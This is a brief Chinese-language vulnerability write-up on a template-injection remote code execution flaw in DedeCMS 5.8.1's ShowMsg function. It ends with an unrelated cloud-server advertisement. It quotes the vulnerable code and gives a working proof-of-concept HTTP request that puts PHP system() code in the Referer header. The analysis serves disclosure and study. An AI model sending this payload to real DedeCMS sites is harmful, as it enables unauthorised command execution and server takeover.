5.8.1 RCE漏洞
VSole2021-10-05 19:21:38
漏洞分析:
在include\common.func.php文件中的ShowMsg函數存在模板注入

$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
從Referer頭中取值,然后進行渲染,造成RCE
$tpl = new DedeTemplate(); $tpl->LoadString($msg);

POC
GET /plus/flink.php?dopost=save&c=whoami HTTP/1.1 Host: 10.211.55.3 Referer: <?php "system"($c);die;/*
使用了ShowMsg函數,且參數為-1的文件,均可造成RCE


源碼下載地址 下載地址:https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1
參考文章:
https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
另外推一下騰訊云的輕量云服務器
https://curl.qcloud.com/l0OukCM6 2核4G內存8M帶寬74塊1年,不需要新用戶,只要沒用過輕量服務器即可購買
VSole
網絡安全專家